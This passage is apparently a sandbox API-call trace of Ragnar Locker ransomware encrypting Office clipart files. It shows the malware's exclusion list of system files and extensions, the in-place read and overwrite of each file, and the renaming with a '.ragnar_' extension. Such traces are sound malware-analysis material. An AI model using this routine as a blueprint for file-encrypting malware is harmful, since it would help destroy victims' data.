lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.539] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.539] GetProcessHeap () returned 0x580000 [0083.539] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.539] CloseHandle (hObject=0xf4) returned 1 [0083.539] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" [0083.539] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.ragnar_FD7BD9FC" [0083.539] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.539] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0083.539] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.539] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0103262.WMF" | out: lpString1="J0103262.WMF") returned="J0103262.WMF" [0083.539] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned=".WMF" [0083.539] lstrcmpiW (lpString1="J0103262.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="autorun.inf") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="boot.ini") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="bootfont.bin") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="bootsect.bak") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="bootmgr") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="bootmgr.efi") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="bootmgfw.efi") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="desktop.ini") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="iconcache.db") returned 1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="ntldr") returned -1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="ntuser.dat") returned -1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="ntuser.dat.log") returned -1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="ntuser.ini") returned -1 [0083.540] lstrcmpiW (lpString1="J0103262.WMF", lpString2="thumbs.db") returned -1 [0083.540] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.540] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.540] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.540] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.540] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.540] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.540] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20 [0083.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.540] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12900) returned 1 [0083.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x325b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.541] GetProcessHeap () returned 0x580000 [0083.541] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.541] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.542] VirtualAlloc (lpAddress=0x0, dwSize=0x3264, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.543] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3264, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3264, lpOverlapped=0x0) returned 1 [0083.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.544] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3264, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.544] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3264, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3264, lpOverlapped=0x0) returned 1 [0083.544] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3264, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.544] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.544] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.544] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.544] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.544] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.545] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.545] GetProcessHeap () returned 0x580000 [0083.545] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.545] CloseHandle (hObject=0xf4) returned 1 [0083.545] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" [0083.545] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.ragnar_FD7BD9FC" [0083.545] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.545] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0083.545] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.545] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0103402.WMF" | out: lpString1="J0103402.WMF") returned="J0103402.WMF" [0083.545] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned=".WMF" [0083.545] lstrcmpiW (lpString1="J0103402.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="autorun.inf") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="boot.ini") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="bootfont.bin") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="bootsect.bak") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="bootmgr") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="bootmgr.efi") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="bootmgfw.efi") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="desktop.ini") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="iconcache.db") returned 1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="ntldr") returned -1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="ntuser.dat") returned -1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="ntuser.dat.log") returned -1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="ntuser.ini") returned -1 [0083.546] lstrcmpiW (lpString1="J0103402.WMF", lpString2="thumbs.db") returned -1 [0083.546] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.546] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.546] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.546] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.546] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.546] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.546] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20 [0083.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.547] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=44948) returned 1 [0083.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaf8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.547] GetProcessHeap () returned 0x580000 [0083.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.547] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.549] VirtualAlloc (lpAddress=0x0, dwSize=0xaf94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.549] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaf94, lpOverlapped=0x0) returned 1 [0083.550] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.550] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf94, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.551] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaf94, lpOverlapped=0x0) returned 1 [0083.551] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.551] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.551] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.551] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.551] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.552] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.552] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.552] GetProcessHeap () returned 0x580000 [0083.552] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.552] CloseHandle (hObject=0xf4) returned 1 [0083.552] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" [0083.552] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.ragnar_FD7BD9FC" [0083.552] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.552] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0083.552] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.552] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0103812.WMF" | out: lpString1="J0103812.WMF") returned="J0103812.WMF" [0083.552] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned=".WMF" [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="autorun.inf") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="boot.ini") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="bootfont.bin") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="bootsect.bak") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="bootmgr") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="bootmgr.efi") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="bootmgfw.efi") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="desktop.ini") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="iconcache.db") returned 1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="ntldr") returned -1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="ntuser.dat") returned -1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="ntuser.dat.log") returned -1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="ntuser.ini") returned -1 [0083.553] lstrcmpiW (lpString1="J0103812.WMF", lpString2="thumbs.db") returned -1 [0083.553] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.553] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.553] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.553] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.553] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.553] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.553] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0083.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.553] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5908) returned 1 [0083.554] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x170b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.554] GetProcessHeap () returned 0x580000 [0083.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.554] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.555] VirtualAlloc (lpAddress=0x0, dwSize=0x1714, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.555] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1714, lpOverlapped=0x0) returned 1 [0083.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.556] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1714, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.556] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1714, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1714, lpOverlapped=0x0) returned 1 [0083.557] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1714, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.557] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.557] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.557] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.557] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.557] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.557] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.557] GetProcessHeap () returned 0x580000 [0083.557] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.557] CloseHandle (hObject=0xf4) returned 1 [0083.557] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" [0083.557] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 